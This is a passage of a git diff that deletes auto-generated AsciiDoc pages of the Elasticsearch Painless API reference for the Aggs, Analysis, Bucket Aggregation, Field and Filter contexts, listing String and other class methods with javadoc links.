-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-aggs-org-elasticsearch-xpack-sql-expression-literal-geo"]
-=== Aggs API for package org.elasticsearch.xpack.sql.expression.literal.geo
-See the <<painless-api-reference-aggs, Aggs API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggs-GeoShape]]
-==== GeoShape
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-aggs-org-elasticsearch-xpack-sql-expression-literal-interval"]
-=== Aggs API for package org.elasticsearch.xpack.sql.expression.literal.interval
-See the <<painless-api-reference-aggs, Aggs API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggs-IntervalDayTime]]
-==== IntervalDayTime
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-aggs-IntervalYearMonth]]
-==== IntervalYearMonth
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-analysis/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-analysis/index.asciidoc
deleted file mode 100644
index 491bc49ae06..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-analysis/index.asciidoc
+++ /dev/null
@@ -1,25 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-analysis]]
-=== Analysis API
-
-The following specialized API is available in the Analysis context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-analysis-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-analysis-String, String>>
-
-==== org.elasticsearch.analysis.common
-<<painless-api-reference-analysis-org-elasticsearch-analysis-common, Expand details for org.elasticsearch.analysis.common>>
-
-* <<painless-api-reference-analysis-AnalysisPredicateScript-Token, AnalysisPredicateScript.Token>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-analysis/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-analysis/packages.asciidoc
deleted file mode 100644
index b5052084ee0..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-analysis/packages.asciidoc
+++ /dev/null
@@ -1,81 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-analysis-java-lang"]
-=== Analysis API for package java.lang
-See the <<painless-api-reference-analysis, Analysis API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-analysis-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-analysis-org-elasticsearch-analysis-common"]
-=== Analysis API for package org.elasticsearch.analysis.common
-See the <<painless-api-reference-analysis, Analysis API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-analysis-AnalysisPredicateScript-Token]]
-==== AnalysisPredicateScript.Token
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int getEndOffset()
-* int getPosition()
-* int getPositionIncrement()
-* int getPositionLength()
-* int getStartOffset()
-* CharSequence getTerm()
-* String getType()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean isKeyword()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-bucket-aggregation/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-bucket-aggregation/index.asciidoc
deleted file mode 100644
index f63ba71423c..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-bucket-aggregation/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-bucket-aggregation]]
-=== Bucket Aggregation API
-
-The following specialized API is available in the Bucket Aggregation context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-bucket-aggregation-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-bucket-aggregation-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-bucket-aggregation/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-bucket-aggregation/packages.asciidoc
deleted file mode 100644
index e77ea8fb473..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-bucket-aggregation/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-bucket-aggregation-java-lang"]
-=== Bucket Aggregation API for package java.lang
-See the <<painless-api-reference-bucket-aggregation, Bucket Aggregation API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-bucket-aggregation-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-field/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-field/index.asciidoc
deleted file mode 100644
index ac04e923a89..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-field/index.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-field]]
-=== Field API
-
-The following specialized API is available in the Field context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Static Methods
-The following methods are directly callable without a class/instance qualifier. Note parameters denoted by a (*) are treated as read-only values.
-
-* List domainSplit(String)
-* List domainSplit(String, Map)
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-field-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-field-String, String>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.geo
-<<painless-api-reference-field-org-elasticsearch-xpack-sql-expression-literal-geo, Expand details for org.elasticsearch.xpack.sql.expression.literal.geo>>
-
-* <<painless-api-reference-field-GeoShape, GeoShape>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.interval
-<<painless-api-reference-field-org-elasticsearch-xpack-sql-expression-literal-interval, Expand details for org.elasticsearch.xpack.sql.expression.literal.interval>>
-
-* <<painless-api-reference-field-IntervalDayTime, IntervalDayTime>>
-* <<painless-api-reference-field-IntervalYearMonth, IntervalYearMonth>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-field/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-field/packages.asciidoc
deleted file mode 100644
index bc6b6601924..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-field/packages.asciidoc
+++ /dev/null
@@ -1,91 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-field-java-lang"]
-=== Field API for package java.lang
-See the <<painless-api-reference-field, Field API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-field-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-field-org-elasticsearch-xpack-sql-expression-literal-geo"]
-=== Field API for package org.elasticsearch.xpack.sql.expression.literal.geo
-See the <<painless-api-reference-field, Field API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-field-GeoShape]]
-==== GeoShape
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-field-org-elasticsearch-xpack-sql-expression-literal-interval"]
-=== Field API for package org.elasticsearch.xpack.sql.expression.literal.interval
-See the <<painless-api-reference-field, Field API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-field-IntervalDayTime]]
-==== IntervalDayTime
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-field-IntervalYearMonth]]
-==== IntervalYearMonth
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-filter/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-filter/index.asciidoc
deleted file mode 100644
index 0b69b3b1501..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-filter/index.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-filter]]
-=== Filter API
-
-The following specialized API is available in the Filter context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-filter-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-filter-String, String>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.geo
-<<painless-api-reference-filter-org-elasticsearch-xpack-sql-expression-literal-geo, Expand details for org.elasticsearch.xpack.sql.expression.literal.geo>>
-
-* <<painless-api-reference-filter-GeoShape, GeoShape>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.interval
-<<painless-api-reference-filter-org-elasticsearch-xpack-sql-expression-literal-interval, Expand details for org.elasticsearch.xpack.sql.expression.literal.interval>>
-
-* <<painless-api-reference-filter-IntervalDayTime, IntervalDayTime>>
-* <<painless-api-reference-filter-IntervalYearMonth, IntervalYearMonth>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-filter/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-filter/packages.asciidoc
deleted file mode 100644
index 462566d1fb6..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-filter/packages.asciidoc
+++ /dev/null
@@ -1,91 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-filter-java-lang"]
-=== Filter API for package java.lang
-See the <<painless-api-reference-filter, Filter API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-filter-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
